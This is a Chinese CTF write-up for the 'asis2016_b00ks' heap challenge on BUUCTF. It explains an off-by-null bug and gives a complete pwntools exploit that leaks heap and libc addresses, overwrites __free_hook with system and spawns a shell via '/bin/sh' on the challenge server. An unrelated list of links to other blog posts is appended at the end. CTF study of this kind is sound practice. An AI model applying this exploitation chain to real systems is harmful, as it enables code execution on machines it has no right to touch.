1.漏洞点

一个off by null,但和其他堆题的利用不太一样。

输入name时可覆盖heaplist的最低位为0

2.利用思路

1.泄露heap地址

申请大的heap再free掉,show功能正常,直接泄露。

2.泄露libc && 改__free_hook

heaplist的第一个指针最低位可覆盖为0,在对应位置伪造结构体,再结合edit和show功能实现任意读写,改freehook为system。

3.shell

申请时写入‘/bin/sh\x00’再free掉。

3.exp

from pwn import *
p=remote('node3.buuoj.cn',26380)
#p = process('./b00ks')
#p = process(['./b00ks'],env={"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF('./b00ks')
libc = ELF('/home/root2/Desktop/buu_64/libc-2.23.so')
#libc = ELF('./libc-2.23.so')
context.log_level = 'debug'

def duan():
    gdb.attach(p)
    pause()
def add(name_size,name,content_size,content):
    p.sendlineafter('> ','1')
    p.sendlineafter('size: ',str(name_size))
    p.sendlineafter('chars): ',name)
    p.sendlineafter('size: ',str(content_size))
    p.sendlineafter('tion: ',content)
def delete(index):
    p.sendlineafter('> ','2')
    p.sendlineafter('delete: ',str(index))
def edit(index,content):
    p.sendlineafter('> ','3')
    p.sendlineafter('edit: ',str(index))
    p.sendlineafter('ption: ',content)
def show():
    p.sendlineafter('> ','4')
def change(author_name):
    p.sendlineafter('> ','5')
    p.sendlineafter('name: ',author_name)

p.sendlineafter('name: ','a'*0x1f+'b')
add(0xd0,'aaaaaaaa',0x20,'bbbbbbbb')
show()
p.recvuntil('aaab')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
print 'heap_addr-->'+hex(heap_addr)
add(0x80,'cccccccc',0x60,'dddddddd')
add(0x10,'eeeeeeee',0x10,'ffffffff')
delete(2)
edit(1,p64(1)+p64(heap_addr+0x30)+p64(heap_addr+0x30+0x90+0xe0+0x10)+p64(0x20))
change('a'*0x20)
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-88-0x10-libc.symbols['__malloc_hook']
__malloc_hook = libc_base+libc.symbols['__malloc_hook']
success('libc_base:'+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
realloc = libc_base+libc.symbols['realloc']
system=libc_base+libc.sym['system']
edit(1,p64(free_hook)+p64(0x8))
edit(3,p64(system))
add(0x100,'/bin/sh\x00',0x100,'/bin/sh\x00')
#gdb.attach(p)
delete(4)

p.interactive()

buu刷题日记 asis2016_b00ks相关推荐

  1. 菜菜的刷题日记 | 66.加一 Plus One

    系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 菜鸡的刷题之路--2022/1/7 文章目录 [题目] [我的代码] [参考代码1] [参考代码2] [参考代码3] [思 ...

  2. 一个算法笨蛋的12月leetCode刷题日记

    类似文章 一个算法笨蛋的2021年11月leetCode刷题日记 一个算法笨蛋的2021年12月leetCode刷题日记 一个算法笨蛋的2022年1月leetCode刷题日记 一个算法笨蛋的2022年 ...

  3. 牛客刷题日记(2021-12-8)

    牛客刷题日记(2021-12-8) 题目: 以下哪个接口的定义是正确的?( )interface B { void print() { } ;}interface B { static void pr ...

  4. 刷题日记【第十三篇】-笔试必刷题【数根+星际密码+跳台阶扩展问题+快到碗里来】

    刷题日记[第十三篇]-笔试必刷题[数根+星际密码+跳台阶扩展问题+快到碗里来] 1.方法区在JVM中也是一个非常重要的区域,它与堆一样,是被[线程共享]的区域. 下面有关JVM内存,说法错误的是?(c ...

  5. CTFshow刷题日记-MISC-图片篇(上)基础操作和信息附加

    ctfshow 图片篇引语 大部分题目仅涉及单一知识点,但可能有多种解法: 找到flag并不困难,关键是了解每一题背后的原理: 藏在哪?为什么可以这样藏?请多考虑这两个问题: misc脑图-misc之 ...

  6. 牛客刷题日记(2021-11-24)

    牛客刷题日记(2021-11-24) 题目: 下面程序的输出是:() String x="fmn"; x.toUpperCase(); String y=x.replace('f' ...

  7. Leetcode刷题日记(十二)

    又是老台词:欢迎大家来到一晚一度的leetcode刷题日记时间.今天我们来讲讲队列的问题,队列这方面的基础知识需要的同学到博主前面的文章找吧.队列这方面的问题平时博主也是接触得比较少的.下面是一道利用 ...

  8. 菜菜的刷题日记 | 蓝桥杯 — 十六进制转八进制(纯手撕版)附进制转换笔记

    系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 万万没想到啊,回老家过年断更的几天之后,我会因为无聊在除夕这天做了会儿题,然后写篇题解. 文章目录 [题目] [我的代码] ...

  9. 菜菜的刷题日记 | 12.整数转罗马数字

    系列索引:菜菜的刷题日记 | 被LeetCode用Python狂虐的那段日子 菜鸡的刷题之路--2022/1/24,这几天忙着肝并发编程,题在做但是没空写题解,今晚补一篇. 文章目录 [题目] [官方 ...

  10. Leetcode刷题日记:21-25题篇

    Leetcode刷题日记:21-25题篇 简介 题目: 21. 合并两个有序链表 22. 括号生成 23. 合并K个升序链表 24. 两两交换链表中的节点 25. K 个一组翻转链表 注 简介 这个系 ...

最新文章

  1. (入门)上传GitHub怎么忽略node_modules
  2. 沈阳初步建成国内领先的城市级大数据资源库
  3. RSA加密原理:非对称加密鼻祖
  4. python可以做系统吗_哪个操作系统更适合用来做Python开发
  5. mysql设计学习_Mysql数据库设计学习
  6. 使用python制作ArcGIS插件(5)其他技巧
  7. mysql可以授予的权限包括多选题_mysql中的权限有( )。 (5.0分)_学小易找答案
  8. 虚拟化服务器杀毒软件,虚拟机需要安装杀毒软件吗
  9. python运算符用来计算集合并集的_Python 运算符中用来计算集合并集的是 _______ 。 (2.0分)_学小易找答案...
  10. mysql主从配置查看_MySQL主从配置 - MySQL入门教程_数据库技术_Linux公社-Linux系统门户网站...
  11. 某计算机配置的内存为2GB,实测告诉你为APU分配64MB和2GB显存性能差距多大
  12. 管理学定律八:晕轮效应与霍桑效应
  13. 北邮校长方滨兴将离职 临别奉送学生“六好”锦囊
  14. mac 更新系统后无法使用 git
  15. 达威尔CHERRY樱桃轴 铝合金有线背光电竞吃鸡游戏机械键盘
  16. 绝望爱の歌---最终兵器彼女
  17. 分享45个android实例源码,很好很强大
  18. Bandit:一款Python代码安全漏洞检测工具
  19. 秒杀年费258的同款APP,微软、联想、Adobe、腾讯的这些良心产品太香了
  20. java全栈系列之JavaSE-面向对象之多态038

热门文章

  1. TXT文件导入mysql
  2. 迪文屏DMT12800K070_A2WTC踩坑实录(二)
  3. 计算机的来源知识,计算机的由来计算机从诞生到现在才不过50多年的时间,可是发展却很快,已先后经历了四代,可以说是人丁兴旺。世界上第一台电子计算机1946年诞生于美国,名为埃尼阿克(ENIAC)...
  4. MathJax 支持的 Latex 符号总结
  5. 车载ECU软件刷新flash driver制作
  6. React脚手架---CRA
  7. 技术类岗位面试中经典问题总结分享
  8. 计算与推断思维 十六、比较两个样本
  9. 网络和internet设置 代理 手动设置无效 | internet选项 代理设置无效无法应用 |internet选项代理修改后无法应用
  10. There are 7 missing blocks. The following files may be corrupted